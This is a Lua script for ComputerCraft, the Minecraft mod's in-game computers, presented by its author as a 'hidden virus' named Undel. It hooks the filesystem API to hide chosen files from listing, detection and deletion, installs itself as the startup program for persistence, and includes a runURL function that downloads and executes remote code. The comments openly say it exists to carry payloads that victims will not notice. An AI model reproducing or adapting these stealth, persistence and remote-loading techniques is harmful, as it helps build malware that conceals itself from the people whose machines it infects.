Undel - hidden virus (ComputerCraft)

-- pastebin get 6ZmEhuJp startup
-- std pb 6ZmEhuJp startup
--[[
Let me explain Undel (yes, that's what I called it):
Undel is not exactly a virus, as it doesn't carry a payload, but it certainly does help when you add one!
Undel hides a table of filenames from all detection and execution. Even works with folders!
The idea is that if a computer has a virus, and that virus does something, then the person will remove the virus with a disk...
...but if the person does not know there is a virus, he will make no effort to remove it! It's so devious!
It doesn't have a payload, so add some code to the end or have it run another hidden file using runActualProgram()
or runURL().

Syntax:
"undel" Will hide anything in protectedList.
"undel <file1> <file2> <file3> ..." Adds all arguments to protectedList, to be hidden.
"undel install" Moves startup, names itself startup, and adds a unicode character to itself to prevent reading.
--]]

local tArg = {...}

local function runURL(url, ...)
    local program = http.get(url)
    if not program then return false end
    program = program.readAll()
    local func = loadstring(program)
    setfenv(func, getfenv())
    return func(...)
end

local function runCode(...) --Run custom code here before startup!
    return
end

local programName = shell.getRunningProgram()
local protectedList = {
    fs.combine("",shell.getRunningProgram()),
}
if (#tArg > 1) or (tArg[1] ~= "--install") then --Add extra files
    for a = 1, #tArg do
        if tArg[a] == "*" then
            protectedList = fs.list(shell.dir())
            break
        else
            table.insert(protectedList,fs.combine("",tArg[a]))
        end
    end
end

local function rollOver(input, max) --More useful than it seems.
    return math.floor(input % max)
end

local function randomString(input)
    local output
    if fs.isDir(input) then
        output = ".."
    else
        output = "."
    end
    local alphabet = "abcdefghijklmnopqrstuvwxyz1234567890<>[]()!@#$%^&"
    for a = 1, #input do
        local rand = rollOver(string.byte(string.sub(input,a,a)),#alphabet)
        output = output..string.sub(alphabet, rand, rand)
    end
    return output
end

local protectedListAlternatives = {}
local protectedListFiletypes = {}
for a = 1, #protectedList do
    table.insert(protectedListAlternatives, randomString(protectedList[a]))
    table.insert(protectedListFiletypes, fs.isDir(protectedList[a]))
end

local function isInTable(tbl, str)
    for a = 1, #tbl do
        if tbl[a]==str then
            return a
        end
    end
    return false
end

local _undelIsRunning

if tArg[1] == "--install" then _undelIsRunning = true end

if not _undelIsRunning then
    -- REDEFINE START
    local oldfs = fs
    fs = {
        open = function(path, mode)
            local num = isInTable(protectedList,fs.combine("",path))
            if not num then
                return oldfs.open(path, mode)
            else
                return oldfs.open(protectedListAlternatives[num], mode)
            end
        end,
        isReadOnly = function(path)
            local num = isInTable(protectedList,fs.combine("",path))
            if not num then
                return oldisreadonly(path)
            else
                return oldisreadonly(protectedListAlternatives[num])
            end
        end,
        delete = function(path)
            local num1 = isInTable(protectedList,fs.combine("",path))
            if num1 then
                if protectedListFiletypes[num1] == oldfs.isDir(protectedList[num1]) then
                    return oldfs.delete(fs.combine("",protectedListAlternatives[num1]))
                else
                    return oldfs.delete(path)
                end
            else
                return oldfs.delete(path)
            end
        end,
        move = function(path, dest)
            local num = isInTable(protectedList,fs.combine("",path))
            if not num then
                return oldfs.move(path, dest)
            else
                if protectedListFiletypes[num] == oldfs.isDir(protectedList[num]) then
                    return oldfs.move(path, dest)
                else
                    return oldfs.move(protectedListAlternatives[num])
                end
            end
        end,
        list = function(directory)
            local output, dir = {}
            local num1 = isInTable(protectedList,directory)
            if num1 then
                dir = protectedListAlternatives[num1]
            else
                dir = directory
            end
            for a = 1, #oldfs.list(dir) do
                local file = oldfs.list(dir)[a]
                local num1 = isInTable(protectedList,file)
                local num2 = isInTable(protectedListAlternatives,file)
                if num2 then
                    table.insert(output, protectedList[num2])
                else
                    if not num1 then
                        table.insert(output, file)
                    end
                end
            end
            return output
        end,
        exists = function(file)
            local num = isInTable(protectedList,fs.combine("",file))
            if not num then
                return oldfs.exists(file)
            else
                return oldfs.exists(protectedListAlternatives[num])
            end
        end,
        find = function(file)
            local output = {}
            for a = 1, #oldfs.find(file) do
                local file = oldfs.find(file)[a]
                local num1 = isInTable(protectedList,fs.combine("",file))
                local num2 = isInTable(protectedListAlternatives,fs.combine("",file))
                if num2 then
                    table.insert(output, protectedList[num2])
                else
                    if not num1 then
                        table.insert(output, file)
                    end
                end
            end
            return output
        end,
        isDir = function(directory)
            local num = isInTable(protectedList,fs.combine("",directory))
            if not num then
                return oldfs.isDir(directory)
            else
                return oldfs.isDir(protectedListAlternatives[num])
            end
        end,
        makeDir = function(directory)
            local num = isInTable(protectedList,fs.combine("",directory))
            if not num then
                return oldfs.makeDir(directory)
            else
                return oldfs.makeDir(protectedListAlternatives[num])
            end
        end,
    }
    for k,v in pairs(oldfs) do
        if not fs[k] then
            fs[k] = v
        end
    end
    _G.fs = fs

    -- REDEFINE END --

    local _undelIsRunning = true

    local function runActualFile(fileName, ...) --Run the actual file
        local file = oldfs.open(fileName,"r")
        local contents = file.readAll()
        file.close()
        local func = loadstring(contents)
        setfenv(func, getfenv())
        func(table.unpack({...},2))
    end

    runCode(...) --Runs custom code.
    if fs.exists(fs.combine("",randomString("startup"))) == true then
        shell.run(fs.combine("",randomString("startup")))
    end
end

if tArg[1] == "--install" then
    write([[You sure? You can add extra files to hide before install ONLY.
[Y,N]?]])
    repeat
        local event, key = os.pullEvent("char")
        if key == "y" then
            print("Y")
        elseif key == "n" then
            print("N")
            error("Aborted.")
        end
    until key == "y"
    if fs.exists(fs.combine("",randomString("startup"))) == true then
        fs.delete(fs.combine("",randomString("startup")))
    end
    write("Working...")
    if fs.exists("startup") == true  then
        fs.move("startup", fs.combine("",randomString("startup")))
    end
    local file = fs.open(programName,"r")
    local contents = file.readAll()
    file.close()
    fs.move(programName, "startup")
    print("complete!")
    print("Reboot to take effect.")
end